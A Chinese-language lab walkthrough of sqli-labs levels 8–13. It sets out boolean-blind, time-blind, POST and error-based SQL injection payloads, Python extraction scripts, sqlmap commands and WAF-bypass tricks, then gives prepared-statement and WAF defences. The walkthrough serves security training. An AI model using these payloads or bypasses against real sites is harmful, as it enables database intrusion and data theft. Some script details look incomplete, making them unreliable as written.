1. 项目概述:sqli-labs靶场通关实战(Less8-13)
最近在复现sqli-labs靶场的Less8到Less13关卡时,发现很多新手在布尔盲注和时间盲注环节容易卡壳。作为渗透测试的基础必修课,这几个关卡正好覆盖了SQL注入中最具代表性的几种攻击场景。下面我就结合2026年最新的绕过手法,详细拆解每个关卡的通关思路和实操细节。
2. 环境准备与基础概念
2.1 靶场环境配置
建议使用以下环境组合:
- sqli-labs最新版(GitHub仓库2026年3月更新)
- PHP 8.2 + MySQL 8.0
- Burp Suite 2026.1作为流量拦截工具
- SQLMap 1.7.3(需注意新版参数变化)
重要提示:务必在虚拟机或隔离环境中搭建靶场,避免意外影响生产系统
2.2 关键注入类型解析
2.2.1 布尔盲注(Less8)
当页面不返回具体数据但会显示不同状态时使用。通过构造逻辑判断语句,根据页面返回True/False状态逐步推断数据。
典型payload:
id=1' and ascii(substr(database(),1,1))>100 --+2.2.2 时间盲注(Less9)
当页面无任何变化反馈时,通过时间延迟判断注入结果。MySQL中常用sleep()或benchmark()函数。
典型payload:
id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0) --+3. 分关卡突破详解
3.1 Less8:布尔盲注实战
3.1.1 注入点探测
首先通过常规单引号测试:
id=1' --+发现页面返回空白,确认存在注入但无显错
3.1.2 数据库名爆破
采用二分法逐字符判断:
import requests url = "http://target/Less-8/" for i in range(1,20): low = 32 high = 126 while low <= high: mid = (low+high)//2 payload = f"1' and ascii(substr(database(),{i},1))>{mid} --+" r = requests.get(url, params={"id":payload}) if "You are in" in r.text: low = mid + 1 else: high = mid - 1 print(chr(low), end='')3.1.3 表名获取技巧
通过information_schema查询时,注意2026年新版MySQL对特殊字符的过滤规则变化:
1' and (select 1 from information_schema.tables where table_schema=database() and table_name regexp '^[a-z]' limit 0,1) --+3.2 Less9:时间盲注进阶
3.2.1 时间基准测试
首先确定网络延迟基准:
id=1' and sleep(2) --+通过Burp Suite的Repeater模块精确测量响应时间
3.2.2 自动化脚本编写
推荐使用Python多线程加速爆破:
from concurrent.futures import ThreadPoolExecutor def check_char(pos, val): payload = f"1' and if(ascii(substr(database(),{pos},1))={val},sleep(3),0) --+" start = time.time() requests.get(url, params={"id":payload}) return time.time() - start > 2.5 with ThreadPoolExecutor(10) as executor: for pos in range(1,10): for char in range(32,127): if executor.submit(check_char, pos, char).result(): print(f"Pos {pos}: {chr(char)}") break3.3 Less10-13:复合型注入
3.3.1 双引号注入(Less10)
注意payload构造差异:
id=1" and sleep(3) --+3.3.2 POST型注入(Less11)
需要使用Burp拦截修改POST参数:
uname=admin' and 1=1 --+&passwd=3.3.3 报错注入(Less12-13)
利用extractvalue函数触发报错:
id=1' and extractvalue(1,concat(0x7e,database())) --+4. SQLMap高效利用指南
4.1 最新参数解析
2026版核心参数变化:
sqlmap -u "http://target/Less-8/?id=1" --technique=B --level=5 --risk=3 --batch --tamper=space2comment --flush-session4.2 布尔盲注专用配置
sqlmap -u "http://target/Less-8/?id=1" --string="You are in" --not-string="Error" --threads=104.3 时间盲注优化方案
sqlmap -u "http://target/Less-9/?id=1" --time-sec=5 --timeout=30 --retries=35. 防御绕过实战技巧
5.1 最新WAF绕过方案
- 空白符变异:%09/%0a/%0c
- 注释混淆:/!50000select/
- 大小写混合:SeLeCt
- 十六进制编码:0x73656c656374
5.2 2026年新型过滤绕过
针对云WAF的智能检测:
id=1'and@a:=database()/*!80000and*/@a--+6. 防御方案与修复建议
6.1 代码层防护
// PDO预处理示例 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$input]);6.2 配置层加固
MySQL 8.0+推荐配置:
[mysqld] sql_mode=STRICT_TRANS_TABLES performance_schema=ON6.3 网络层防护
- 部署ModSecurity核心规则集
- 启用Cloudflare WAF的SQLi防护规则
- 限制错误信息输出
7. 实战问题排查手册
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 注入无响应 | WAF拦截 | 更换tamper脚本 |
| 布尔判断失效 | 字符编码问题 | 使用hex()函数转换 |
| 时间延迟不准 | 网络抖动 | 调整--time-sec参数 |
| SQLMap卡住 | 会话问题 | 添加--flush-session |
在Less12关卡测试时遇到报错注入失效的情况,后来发现是MySQL 8.2版本对XML函数做了更严格的语法检查。解决方法是在payload前添加/*!50000 */绕过语法检测:
id=1' /*!50000and*/ extractvalue(1,concat(0x7e,database())) --+这种实战中的小技巧往往才是通关的关键,文档上很少会提及。建议每次遇到问题都先检查数据库版本差异,这能节省大量排查时间。